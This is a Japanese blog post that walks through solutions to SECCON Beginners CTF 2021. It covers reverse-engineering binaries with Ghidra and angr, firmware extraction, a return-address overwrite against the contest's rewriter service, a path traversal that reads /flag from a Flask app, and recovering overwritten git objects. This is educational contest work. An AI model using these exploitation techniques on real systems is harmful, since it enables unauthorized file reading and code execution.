2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

Writeup: SECCON Beginners CTF 2021

Posted at

概要

2021/5/24-25に開催されたSECCON Beginners CTF 2021のWriteupになります。

作問者のみなさま、運営の皆様、2日間ありがとうございました!

welcome(Point: 51 pt, Solved: 895 team)

問題

Welcome to SECCON Beginners CTF 2021!

フラグはDiscordサーバのannouncementsチャンネルにあります。

https://discord.gg/6sKxFmaUyS

攻略方法

開始時刻にDiscordのチャンネルにフラグが書き込きこまれる問題でした。(去年と同じ)

フラグ

ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}

reversing

[Beginner]only_read(Point: 55 pt, Solved: 450 team)

問題

バイナリ読めなきゃやばいなり〜

chall 271938a479a59fe40438b9ecf0e2fca002fe085b

攻略環境

攻略方法

ファイルをダウンロード、fileコマンドで概要を確認します。

┌──(vagrant㉿kali)-[/vagrant/reversing/only_read]
└─$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=416db4d9fdab2e1d244740eabdf3ee326dc0fcef, for GNU/Linux 3.2.0, not stripped

ELFファイルなので、実行権限を付けて実行して動作を見てみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/7a4e6e2d-a5cf-d2a3-3c5c-6aac6551142d.png)
┌──(vagrant㉿kali)-[/vagrant/reversing/only_read]
└─$ chmod 755 chall
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/f7df552e-3aac-a50e-dbcf-b30013ab5eec.png)
┌──(vagrant㉿kali)-[/vagrant/reversing/only_read]
└─$ ./chall                                                                                                                                                                                                                                                                              
A <-- 入力
Incorrect

Incorrectになりましたが、入力値の判断を行う単純なプログラムだということがわかりました。

これ以上は情報がないので、Ghidraで見てみます。

void main(void)

{
  ssize_t sVar1;
  long in_FS_OFFSET;
  undefined8 local_28;
  undefined8 local_20;
  undefined4 local_18;
  undefined2 local_14;
  char local_12;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_14 = 0;
  local_12 = '\0';
  sVar1 = read(0,&local_28,0x17);
  *(undefined *)((long)&local_28 + sVar1) = 0;
  if (((((((char)local_28 == 'c') && (local_28._1_1_ == 't')) && (local_28._2_1_ == 'f')) &&
       (((local_28._3_1_ == '4' && (local_28._4_1_ == 'b')) &&
        ((local_28._5_1_ == '{' && ((local_28._6_1_ == 'c' && (local_28._7_1_ == '0')))))))) &&
      (((char)local_20 == 'n' &&
       ((((((local_20._1_1_ == '5' && (local_20._2_1_ == 't')) && (local_20._3_1_ == '4')) &&
          ((local_20._4_1_ == 'n' && (local_20._5_1_ == 't')))) &&
         ((local_20._6_1_ == '_' && ((local_20._7_1_ == 'f' && ((char)local_18 == '0')))))) &&
        (local_18._1_1_ == 'l')))))) &&
     ((((local_18._2_1_ == 'd' && (local_18._3_1_ == '1')) && ((char)local_14 == 'n')) &&
      ((local_14._1_1_ == 'g' && (local_12 == '}')))))) {
    puts("Correct");
  }
  else {
    puts("Incorrect");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

mainをデコンパイルすると、入力文字列を格納しているlocal_28を一文字ずつ比較していることがわかり、これを組み立てるとctf4b{c0n5t4nt_f0ld1ng}になりそうです。

プログラムで確認すると以下の通り、Correctになりました。

┌──(vagrant㉿kali)-[/vagrant/reversing/only_read]
└─$ ./chall
ctf4b{c0n5t4nt_f0ld1ng}
Correct

フラグ

ctf4b{c0n5t4nt_f0ld1ng}

[Easy]children(Point: 73 pt, Solved: 301 team)

問題

これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。

children 336f0a34491926dac7c1ee43c63c4413c2a81ede

攻略環境

攻略方法

┌──(vagrant㉿kali)-[/vagrant/reversing/children]
└─$ ./children
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!

Please give me my child pid!

pidを答えるようなので、psで調べながら回答します。

┌──(vagrant㉿kali)-[~]
└─$ ps -ef | grep children
vagrant     9383    7170  0 01:23 pts/0    00:00:00 ./children
vagrant     9384    9383  0 01:23 pts/0    00:00:00 [children] <defunct>
vagrant     9385    9383  0 01:23 pts/0    00:00:00 [children] <defunct>

回答すると次のpidが聞かれました。

┌──(vagrant㉿kali)-[/vagrant/reversing/children]
└─$ ./children
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!

Please give me my child pid!
9385
ok
Please give me my child pid!

問題文のとおり、10個のプロセスを作るようなので、10回問答がありそうです。pidを調べながら対応をしていきます。

10回聞かれたところで、起動したchild processの数が聞かれました。

How many children were born?

子プロセス数を数えて入力すると、フラグが取得できました。

How many children were born?
17
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

reverseすることなく終わってしましました。。。

フラグ

ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

[Easy]please_not_trace_me(Point: 242 pt, Solved: 86 team)

問題

フラグを復号してくれるのは良いけど,表示してくれない!!

chall 7e3285ee71b14355a62e9fe2dcdb22ec2c13e080

攻略環境

攻略方法

まずは実行してみます。

┌──(vagrant㉿kali)-[/vagrant/reversing/please_not_trace_me]
└─$ chmod 755 chall

┌──(vagrant㉿kali)-[/vagrant/reversing/please_not_trace_me]
└─$ ./chall
flag decrypted. bye.

問題文にあるように、フラグを復号しているが表示されないようです。これ以上は、情報が得られなそうなのでGhidraで確認をします。

void main(undefined4 param_1,undefined8 param_2,undefined8 param_3)

{
  int local_54;
  int local_50;
  char *local_48;
  long local_40;
  long local_38;
  long local_30;
  
  megaInit();
  local_30 = 9;
  _global_argv = param_2;
  _global_argc = param_1;
  _global_envp = param_3;
  do {
    switch(local_30) {
    case 0:
      local_50 = 2;
      local_30 = 0xb;
      break;
    case 2:
      local_30 = _1_main_flag_func_0(local_38,-1,0x10,5);
      break;
    case 5:
      if (local_50 == 6) {
        local_30 = 0x12;
      }
      else {
        local_30 = 8;
      }
      break;
    case 6:
      if (local_40 == 0) {
        local_30 = 0;
      }
      else {
        local_30 = 0xb;
      }
      break;
    case 8:
      fwrite("prease not trace me...\n",1,0x17,stderr);
                    /* WARNING: Subroutine does not return */
      exit(1);
    case 9:
      local_54 = 0;
      local_30 = 10;
      break;
    case 10:
      switch(local_54) {
      case 0:
        local_30 = 0x16;
        break;
      case 1:
        local_30 = 0xf;
        break;
      case 2:
        local_30 = 0x13;
        break;
      case 3:
        local_30 = 0x14;
        break;
      case 4:
        local_30 = 0x11;
        break;
      case 5:
        local_30 = 0x15;
        break;
      default:
        local_30 = 0x12;
      }
      break;
    case 0xb:
      local_38 = ptrace(PTRACE_TRACEME,0,1,0);
      local_30 = 2;
      break;
    case 0xf:
      local_48 = (char *)malloc(0x10);
      local_30 = 0x12;
      break;
    case 0x10:
      local_50 = local_50 * 3;
      local_30 = 5;
      break;
    case 0x11:
      puts("flag decrypted. bye.");
      local_30 = 0x12;
      break;
    case 0x12:
      local_54 = local_54 + 1;
      local_30 = 10;
      break;
    case 0x13:
      generate_key(local_48);
      local_30 = 0x12;
      break;
    case 0x14:
      rc4(e,local_48);
      local_30 = 0x12;
      break;
    case 0x15:
                    /* WARNING: Subroutine does not return */
      exit(0);
    case 0x16:
      local_50 = 0;
      local_40 = ptrace(PTRACE_TRACEME,0,1,0);
      local_30 = 6;
    }
  } while( true );
}

mainをでコンパイルすると以下のことがわかりました。

  • generate_key(local_48);で、キーの生成をしている。
  • rc4(e,local_48);で、elocal_48(キー)で、復号している

キーの値と暗号文であるeの値を特定する必要がありそうです。

変数eは以下の関数で初期化されていました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/27bd8344-dbb2-b24e-593d-d083179f5115.png)
void e_i$nit(void)

{
  e[0] = 0x80;
  e[1] = 0x97;
  e[2] = 0x85;
  e[3] = 0xd7;
  e[4] = 0x81;
  e[5] = 0x98;
  e[6] = 0x87;
  e[7] = 0xd2;
  e[8] = 0x87;
  e[9] = 0xbc;
  e[10] = 0x9a;
  e[11] = 0xd3;
  e[12] = 0x96;
  e[13] = 0xbc;
  e[14] = 0x87;
  e[15] = 0xd0;
  e[16] = 0x80;
  e[17] = 0x91;
  e[18] = 0x9a;
  e[19] = 0x93;
  e[20] = 0x97;
  e[21] = 0xbc;
  e[22] = 0x91;
  e[23] = 0x80;
  e[24] = 0xd7;
  e[25] = 0xdc;
  e[26] = 0x9e;
  return;
}

次にキーを見ていきます。generate_key()では、以下の通り処理をしています。strcpyに使用されている変数に着目すると、encodeStrings_litStr0の値をparam_1にコピーしているため、_2_stringEncoderでキーが生成されていそうだと予測できます。

void generate_key(char *param_1)

{
  bool bVar1;
  
  bVar1 = false;
  do {
    while (!bVar1) {
      _2_stringEncoder(0,encodeStrings_litStr0);
      strcpy(param_1,encodeStrings_litStr0);
      bVar1 = true;
    }
  } while (!bVar1);
  return;
}

_2_stringEncoderを見ると、キーがわかりました。

void _2_stringEncoder(int param_1,undefined *param_2)

{
  if (param_1 == 0) {
    *param_2 = 0x6e;
    param_2[1] = 0x69;
    param_2[2] = 99;
    param_2[3] = 0x6b;
    param_2[4] = 0x65;
    param_2[5] = 0x6c;
    param_2[6] = 0x6f;
    param_2[7] = 100;
    param_2[8] = 0x65;
    param_2[9] = 0x6f;
    param_2[10] = 0x6e;
    param_2[0xb] = 0;
  }
  return;
}

RC4で暗号化されてそうなので、CyberChefで復号を試みるもうまくいきません。

そのため、rc4()関数で行っている処理をPythonで実施して実行すると、フラグを取得できました。

# !/usr/bin/env python3

table = [i for i in range(256)]
print(table)

key = ""
key += chr(0x6e)
key += chr(0x69)
key += chr(99)
key += chr(0x6b)
key += chr(0x65)
key += chr(0x6c)
key += chr(0x6f)
key += chr(100)
key += chr(0x65)
key += chr(0x6f)
key += chr(0x6e)
print(key)

e = [0 for x in range(27)]
e[0] = 0x80
e[1] = 0x97
e[2] = 0x85
e[3] = 0xd7
e[4] = 0x81
e[5] = 0x98
e[6] = 0x87
e[7] = 0xd2
e[8] = 0x87
e[9] = 0xbc
e[10] = 0x9a
e[11] = 0xd3
e[12] = 0x96
e[13] = 0xbc
e[14] = 0x87
e[15] = 0xd0
e[16] = 0x80
e[17] = 0x91
e[18] = 0x9a
e[19] = 0x93
e[20] = 0x97
e[21] = 0xbc
e[22] = 0x91
e[23] = 0x80
e[24] = 0xd7
e[25] = 0xdc
e[26] = 0x9e
print(e)

"""
  j = 0;
  local_150 = 0;
  while (j < 256) {
    iVar1 = (int)key[j % (int)length_key] + (uint)table[j] + local_150;
    uVar2 = (uint)(iVar1 >> 0x1f) >> 0x18;
    local_150 = (iVar1 + uVar2 & 0xff) - uVar2;
    swap(table + j,table + local_150);
    j = j + 1;
  }
"""

print(table)

local_150 = 0
for i in range(256):
    iVar1 = ord(key[i % len(key)]) + table[i] + local_150
    uVar2 =  (iVar1 >> 0x1f) >> 0x18
    local_150 = (iVar1 + uVar2 & 0xff) - uVar2
    # swap
    temp = table[i]
    table[i] =  table[local_150]
    table[local_150] = temp

print(table)

"""
  while (k < (int)length_encrypt_text) {
    swap(table,table);
    *(byte *)((long)decode_text + (long)k) =
         encrypt_text[k] ^ table[(int)(uint)(byte)(table[0] * '\x02')];
    k = k + 1;
  }
"""

flag = ""

for i in range(len(e)):
    print(table[0])
    print(table[0] * 0x02)
    print(table[table[0] * 0x02])
    print(e[i] ^ 227)
    flag += chr(e[i] ^ table[table[0] * 0x02])
print(flag)

フラグ

ctf4b{d1d_y0u_d3crypt_rc4?}

[Medium]be_angry(Point: 234 pt, Solved: 90 team)

問題

読みづらいからって怒らないでください😢

chall 1f28957cd66a7ed62240f51535db0eb547a0ef2d

攻略環境

攻略方法

問題文から、去年のyakisobaと同じような感じがするが、与えられたバイナリの動作を見てみる。

┌──(root💀kali)-[/vagrant/reversing/be_angry]
└─# file be_angry_chall
be_angry_chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6c0f9413ab09e8549fbb857a910dcb7193fe6b2b, for GNU/Linux 3.2.0, not stripped

┌──(root💀kali)-[/vagrant/reversing/be_angry]
└─# chmod 755 be_angry_chall

┌──(root💀kali)-[/vagrant/reversing/be_angry]
└─# ./be_angry_chall
AAA
Incorrect!!

フラグを入力すると、成否を判断してくれそうであるが、手がかりはないのでGhidraで開いてみが、main関数内でswitch-caseで分岐が多く、自力で解析するのは難しそうである。

image.png

しかし、Correctした時点では入力値との照合のためにフラグが作られている可能性が高いため、angrで解析をすることにした。

    case 0x20:
      puts("Correct!!");
      local_160 = 0x27;
      break;

ターゲットとなるアドレスを確認する。

image.png

確認ができたので、以下のスクリプトを書いて実行したところフラグを取得できた。

# !/usr/bin/env python3

import angr

project = angr.Project('./be_angry_chall')

@project.hook((0x400000 + 0x02539))
def print_flag(state):
    print("FLAG SHOULD BE:", state.posix.dumps(0))
    project.terminate_execution()

project.execute()
┌──(root💀kali)-[/vagrant/reversing/be_angry]
└─# python3 solver.py                                                                                                                     
FLAG SHOULD BE: b'ctf4b{3nc0d3_4r1thm3t1c}'

フラグ

ctf4b{3nc0d3_4r1thm3t1c}

[Medium]firmware(Point: 302 pt, Solved: 59 team)

問題

ctf4b networks社のページからファームウェアをダウンロードしてきました。

このファイルの中からパスワードを探してください。

firmware.tar.gz d8cee86716be435c1abf6eec8a821a8f2717af18

攻略環境

攻略方法

対象ファイルを回答すると、2つのファイルがでてきた。

┌──(root💀kali)-[/vagrant/reversing/firmware]
└─# tar xvfz firmware.tar.gz
firmware/
firmware/README.txt
firmware/firmware.bin

firmware/firmware.binを確認するとデータファイルであった。

┌──(root💀kali)-[/vagrant/reversing/firmware]
└─# file firmware/firmware.bin
firmware/firmware.bin: data

Cryptoではないので、暗号化されていないと考え中身を見てみると、SVGファイルが含まれていることがわかった。

┌──(root💀kali)-[/vagrant/reversing/firmware/firmware]
└─# hexdump -C firmware.bin | more

00000720  e2 95 90 e2 95 9d 0a 3c  73 76 67 20 78 6d 6c 6e  |.......<svg xmln|
00000730  73 3d 22 68 74 74 70 3a  2f 2f 77 77 77 2e 77 33  |s="http://www.w3|
00000740  2e 6f 72 67 2f 32 30 30  30 2f 73 76 67 22 20 76  |.org/2000/svg" v|
00000750  69 65 77 42 6f 78 3d 22  30 20 30 20 34 34 38 20  |iewBox="0 0 448 |
00000760  35 31 32 22 3e 3c 21 2d  2d 20 46 6f 6e 74 20 41  |512"><!-- Font A|
00000770  77 65 73 6f 6d 65 20 46  72 65 65 20 35 2e 31 35  |wesome Free 5.15|
00000780  2e 33 20 62 79 20 40 66  6f 6e 74 61 77 65 73 6f  |.3 by @fontaweso|
00000790  6d 65 20 2d 20 68 74 74  70 73 3a 2f 2f 66 6f 6e  |me - https://fon|
000007a0  74 61 77 65 73 6f 6d 65  2e 63 6f 6d 20 4c 69 63  |tawesome.com Lic|
000007b0  65 6e 73 65 20 2d 20 68  74 74 70 73 3a 2f 2f 66  |ense - https://f|
000007c0  6f 6e 74 61 77 65 73 6f  6d 65 2e 63 6f 6d 2f 6c  |ontawesome.com/l|
000007d0  69 63 65 6e 73 65 2f 66  72 65 65 20 28 49 63 6f  |icense/free (Ico|
000007e0  6e 73 3a 20 43 43 20 42  59 20 34 2e 30 2c 20 46  |ns: CC BY 4.0, F|
000007f0  6f 6e 74 73 3a 20 53 49  4c 20 4f 46 4c 20 31 2e  |onts: SIL OFL 1.|
00000800  31 2c 20 43 6f 64 65 3a  20 4d 49 54 20 4c 69 63  |1, Code: MIT Lic|
00000810  65 6e 73 65 29 20 2d 2d  3e 3c 70 61 74 68 20 64  |ense) --><path d|
00000820  3d 22 4d 34 30 30 20 33  32 48 34 38 43 32 31 2e  |="M400 32H48C21.|

他にもファイルが含まれている可能性があるので、binwalkで確認をすると複数のファイルが存在することが確認できた。

┌──(root💀kali)-[/vagrant/reversing/firmware/firmware]
└─# binwalk firmware.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
127           0x7F            Base64 standard index table
2343          0x927           Copyright string: "Copyright 2011-2021 The Bootstrap Authors"
2388          0x954           Copyright string: "Copyright 2011-2021 Twitter, Inc."
83503         0x1462F         PNG image, 594 x 100, 8-bit grayscale, non-interlaced
83544         0x14658         Zlib compressed data, best compression
90593         0x161E1         ELF, 32-bit LSB shared object, ARM, version 1 (SYSV)
100906        0x18A2A         Unix path: /usr/lib/gcc/arm-linux-gnueabihf/9/../../../arm-linux-gnueabihf/Scrt1.o
103485        0x1943D         JPEG image data, JFIF standard 1.01
117167        0x1C9AF         PEM certificate
117786        0x1CC1A         HTML document header
118641        0x1CF71         HTML document footer

ELFファイルが確認できた。このファイルにフラグが隠れてそうであるため、ファイルの取り出しを行う。

┌──(root💀kali)-[/vagrant/reversing/firmware/firmware]
└─# binwalk --dd='.*' firmware.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
127           0x7F            Base64 standard index table
2343          0x927           Copyright string: "Copyright 2011-2021 The Bootstrap Authors"
2388          0x954           Copyright string: "Copyright 2011-2021 Twitter, Inc."
83503         0x1462F         PNG image, 594 x 100, 8-bit grayscale, non-interlaced
83544         0x14658         Zlib compressed data, best compression
90593         0x161E1         ELF, 32-bit LSB shared object, ARM, version 1 (SYSV)
100906        0x18A2A         Unix path: /usr/lib/gcc/arm-linux-gnueabihf/9/../../../arm-linux-gnueabihf/Scrt1.o
103485        0x1943D         JPEG image data, JFIF standard 1.01
117167        0x1C9AF         PEM certificate
117786        0x1CC1A         HTML document header
118641        0x1CF71         HTML document footer
┌──(root💀kali)-[/vagrant/reversing/firmware/firmware]
└─# tree _firmware.bin.extracted
_firmware.bin.extracted
├── 1462F
├── 14658
├── 14658.zlib
├── 161E1
├── 18A2A
├── 1943D
├── 1C9AF
├── 1CC1A
├── 1CF71
├── 7F
├── 927
└── 954

取り出した、161E1をGhidraで解析する。

          memcpy(acStack4212,
                 "This is a IoT device made by ctf4b networks. Password authentication is required to operate.\n"
                 ,0x5e);
          sVar2 = strlen(acStack4212);
          send(local_11d8,acStack4212,sVar2,0);
          local_109c = 0x75706e49;
          uStack4248 = 0x61702074;
          uStack4244 = 0x6f777373;
          uStack4240 = 0x28206472;
          local_108c = 0x73736170;
          uStack4232 = 0x64726f77;
          uStack4228 = 0x20736920;
          uStack4224 = 0x47414c46;
          local_107c = 0x203e2029;
          local_1078 = 0;
          sVar2 = strlen((char *)&local_109c);
          send(local_11d8,&local_109c,sVar2,0);
          memset(abStack4116,0,0x1000);
          recv(local_11d8,abStack4116,0x1000,0);
          printf("%s",abStack4116);
          memcpy(auStack4520,&DAT_00010ea4,0xf4);
          sVar2 = strlen((char *)abStack4116);
          if (sVar2 != 0x3d) {
            local_10b4 = 0x6f636e49;
            uStack4272 = 0x63657272;
            uStack4268 = 0x61702074;
            uStack4264 = 0x6f777373;
            local_10a4 = 0xa2e6472;
            local_10a0 = 0;
            sVar2 = strlen((char *)&local_10b4);
            send(local_11d8,&local_10b4,sVar2,0);
            close(local_11d8);
          }
          local_11e0 = 0;
          while (local_11e0 < 0x3d) {
            if ((uint)(abStack4116[local_11e0] ^ 0x53) != auStack4520[local_11e0]) {
              local_10b4 = 0x6f636e49;
              uStack4272 = 0x63657272;
              uStack4268 = 0x61702074;
              uStack4264 = 0x6f777373;
              local_10a4 = 0xa2e6472;
              local_10a0 = 0;
              sVar2 = strlen((char *)&local_10b4);
              send(local_11d8,&local_10b4,sVar2,0);
              close(local_11d8);
            }
            local_11e0 = local_11e0 + 1;
          }

mainをでコンパイルした結果、以下が判明した。

  • 実行時にパスワード認証をしている。
  • 入力値はabStack4116に格納される。
  • 入力値の長さは0x3dである必要がある。
  • 入力値を1文字ずつ0x53とXORした結果が、auStack4520と一致するかをチェックしている。
  • auStack4520&DAT_00010ea4で、定義された値をコピーしている。

つまり、&DAT_00010ea4をXORすれば、パスワードが得られそうである。

以下のGhidra Scriptを書いて実行したところフラグが得られた。

# TODO write a description for this script
# @author
# @category _NEW_
# @keybinding
# @menupath
# @toolbar


# TODO Add User Code Here

data = getBytes(toAddr(0x00010ea4), 0xf4)
print(data)

flag = ""
for i in range(0x3d):
    flag += chr(data[i*4] ^ 0x53)
print(flag)
solver_firmware.py> Running...
array('b', [48, 0, 0, 0, 39, 0, 0, 0, 53, 0, 0, 0, 103, 0, 0, 0, 49, 0, 0, 0, 40, 0, 0, 0, 58, 0, 0, 0, 99, 0, 0, 0, 39, 0, 0, 0, 12, 0, 0, 0, 55, 0, 0, 0, 54, 0, 0, 0, 37, 0, 0, 0, 98, 0, 0, 0, 48, 0, 0, 0, 54, 0, 0, 0, 12, 0, 0, 0, 53, 0, 0, 0, 58, 0, 0, 0, 33, 0, 0, 0, 62, 0, 0, 0, 36, 0, 0, 0, 103, 0, 0, 0, 33, 0, 0, 0, 54, 0, 0, 0, 12, 0, 0, 0, 50, 0, 0, 0, 61, 0, 0, 0, 50, 0, 0, 0, 98, 0, 0, 0, 42, 0, 0, 0, 32, 0, 0, 0, 58, 0, 0, 0, 96, 0, 0, 0, 12, 0, 0, 0, 33, 0, 0, 0, 54, 0, 0, 0, 37, 0, 0, 0, 96, 0, 0, 0, 50, 0, 0, 0, 98, 0, 0, 0, 32, 0, 0, 0, 12, 0, 0, 0, 50, 0, 0, 0, 12, 0, 0, 0, 63, 0, 0, 0, 99, 0, 0, 0, 39, 0, 0, 0, 12, 0, 0, 0, 60, 0, 0, 0, 53, 0, 0, 0, 12, 0, 0, 0, 102, 0, 0, 0, 54, 0, 0, 0, 48, 0, 0, 0, 33, 0, 0, 0, 54, 0, 0, 0, 100, 0, 0, 0, 32, 0, 0, 0, 46, 0, 0, 0, 89, 0, 0, 0])
ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}

solver_firmware.py> Finished!

フラグ

ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}

pwnable

[Beginner]rewriter(Point: 108 pt, Solved: 205 team)

問題

任意のアドレスの値を書き換えたい時,ありますよね?

nc rewriter.quals.beginners.seccon.jp 4103

rewriter.tar.gz 90a2468835aee4d08cd90c8fb22eec466fdd1517

攻略環境

攻略方法

アーカイブを解凍すると、実行ファイルとソースコードが含まれていた。

┌──(root💀kali)-[/vagrant/pwnable/rewriter]
└─# tar xvfz rewriter.tar.gz
rewriter/
rewriter/chall
rewriter/src.c

src.cは以下の通りになっており、mainから呼び出されていないwin()を呼び出すようにすればフラグが取得できそうである。

# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <sys/stat.h>
# include <sys/types.h>
# include <fcntl.h>
# include <unistd.h>
# include <err.h>

# define BUFF_SIZE 0x20

void win() {
    execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL);
}

void show_stack(unsigned long *stack);

int main() {
    unsigned long target = 0, value = 0;
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    printf("Where would you like to rewrite it?\n> ");
    buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
    target = strtol(buf, NULL, 0);
    printf("0x%016lx = ", target);
    buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
    value = strtol(buf, NULL, 0);
    *(long*)target = value;
}

void show_stack(unsigned long *stack) {
    printf("\n%-20s|%-20s\n", "[Addr]", "[Value]");
    puts("====================+===================");
    for (int i = 0; i < 10; i++) {
        printf(" 0x%016lx | 0x%016lx ", &stack[i], stack[i]);
        if (&stack[i] == stack)
            printf(" <- buf");
        if (&stack[i] == ((unsigned long)stack + BUFF_SIZE))
            printf(" <- target");
        if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x8))
            printf(" <- value");
        if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x10))
            printf(" <- saved rbp");
        if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x18))
            printf(" <- saved ret addr");
        puts("");
    }
    puts("");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

ソースを見ているが、実行ファイルの方も挙動を確認してみる。

┌──(root💀kali)-[/vagrant/pwnable/rewriter/rewriter]
└─# ./chall

[Addr]              |[Value]
====================+===================
 0x00007fff66be0530 | 0x0000000000000000  <- buf
 0x00007fff66be0538 | 0x0000000000000000
 0x00007fff66be0540 | 0x0000000000000000
 0x00007fff66be0548 | 0x0000000000000000
 0x00007fff66be0550 | 0x0000000000000000  <- target
 0x00007fff66be0558 | 0x0000000000000000  <- value
 0x00007fff66be0560 | 0x0000000000401520  <- saved rbp
 0x00007fff66be0568 | 0x00007fe9b3980d0a  <- saved ret addr
 0x00007fff66be0570 | 0x00007fff66be0658
 0x00007fff66be0578 | 0x0000000100000000

Where would you like to rewrite it?
> 0x00007fff66be0568
0x00007fff66be0568 = 0x00007fff66be0568

[Addr]              |[Value]
====================+===================
 0x00007fff66be0530 | 0x6637303030307830  <- buf
 0x00007fff66be0538 | 0x3530656236366666
 0x00007fff66be0540 | 0x00000000000a3836
 0x00007fff66be0548 | 0x0000000000000000
 0x00007fff66be0550 | 0x00007fff66be0568  <- target
 0x00007fff66be0558 | 0x00007fff66be0568  <- value
 0x00007fff66be0560 | 0x0000000000401520  <- saved rbp
 0x00007fff66be0568 | 0x00007fff66be0568  <- saved ret addr
 0x00007fff66be0570 | 0x00007fff66be0658
 0x00007fff66be0578 | 0x0000000100000000

zsh: segmentation fault  ./chall

指定したアドレスの値を任意に書き換えることができるようなので、win()のアドレスがわかればROPが成功しそうである。

pwndbgでwin()のアドレスを確認する。

pwndbg> info function win
All functions matching regular expression "win":

File ../sysdeps/gnu/unwind-resume.c:
59:	void _Unwind_Resume(struct _Unwind_Exception *);

File ../sysdeps/nptl/jmp-unwind.c:
28:	void _longjmp_unwind(struct __jmp_buf_tag *, int);

File ../sysdeps/posix/rewinddir.c:
26:	void __GI___rewinddir(DIR *);
26:	void __rewinddir(DIR *);

File forward.c:
170:	void __pthread_unwind(__pthread_unwind_buf_t *);

File rewind.c:
31:	void __GI_rewind(FILE *);

Non-debugging symbols:
0x00000000004011f6  win

アドレスがわかったので、値の書き換えを実施すると以下の通りフラグが取得できた。

┌──(root💀kali)-[/vagrant/pwnable/rewriter/rewriter]
└─# nc rewriter.quals.beginners.seccon.jp 4103

[Addr]              |[Value]
====================+===================
 0x00007ffc2e164760 | 0x0000000000000000  <- buf
 0x00007ffc2e164768 | 0x0000000000000000
 0x00007ffc2e164770 | 0x0000000000000000
 0x00007ffc2e164778 | 0x0000000000000000
 0x00007ffc2e164780 | 0x0000000000000000  <- target
 0x00007ffc2e164788 | 0x0000000000000000  <- value
 0x00007ffc2e164790 | 0x0000000000401520  <- saved rbp
 0x00007ffc2e164798 | 0x00007f4e0856dbf7  <- saved ret addr
 0x00007ffc2e1647a0 | 0x0000000000000001
 0x00007ffc2e1647a8 | 0x00007ffc2e164878

Where would you like to rewrite it?
> 0x00007ffc2e164798
0x00007ffc2e164798 = 0x00000000004011f6

[Addr]              |[Value]
====================+===================
 0x00007ffc2e164760 | 0x3030303030307830  <- buf
 0x00007ffc2e164768 | 0x3131303430303030
 0x00007ffc2e164770 | 0x00000000000a3666
 0x00007ffc2e164778 | 0x0000000000000000
 0x00007ffc2e164780 | 0x00000000004011f6  <- target
 0x00007ffc2e164788 | 0x00007ffc2e164798  <- value
 0x00007ffc2e164790 | 0x0000000000401520  <- saved rbp
 0x00007ffc2e164798 | 0x00000000004011f6  <- saved ret addr
 0x00007ffc2e1647a0 | 0x0000000000000001
 0x00007ffc2e1647a8 | 0x00007ffc2e164878

ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

フラグ

ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

web

[Beginner]osoba(Point: 51 pt, Solved: 649 team)

問題

美味しいお蕎麦を食べたいですね。フラグはサーバの /flag にあります!
https://osoba.quals.beginners.seccon.jp/

osoba.tar.gz 566021e832a474559dfb67f5d3cd0bed14147f9b

攻略環境

  • Firefox ESR(78.7.0esr-1)

攻略方法

アクセス先と合わせて、アプリケーションコードが配布されているので、確認をします。

from flask import Flask, request, send_file, make_response

app = Flask(__name__)

@app.route("/", methods=["GET", "POST"])
def index():
    page = request.args.get('page', 'public/index.html')
    response = make_response(send_file(page))
    response.content_type = "text/html"
    return response

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8080)

リクエストパラメータのpage/flagを指定するとフラグが取得できそうなので、試したらフラグが取得できました。

image.png

フラグ

ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}

misc

[Easy]git-leak(Point: 58 pt, Solved: 410 team)

問題

後輩が誤って機密情報をコミットしてしまったらしいです。ひとまずコミットを上書きして消したからこれで大丈夫ですよね?

git-leak.zip df0dc798437439dac5195f2b56adb35ce0d93b61

攻略環境

攻略方法

.gitディレクトリを含むアーカイブがあり、objectsからファイルを復旧させて、フラグを検索すれば良さそうです。

┌──(root💀kali)-[/vagrant/misc/git-leak/dist]
└─# for object in `ls -la .git/objects/*/* | cut -d"/" -f3,4 | tr -d "/"`; do git cat-file -p $object; done > output.txt

┌──(root💀kali)-[/vagrant/misc/git-leak/dist]
└─# cat output.txt| grep ctf
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

フラグ

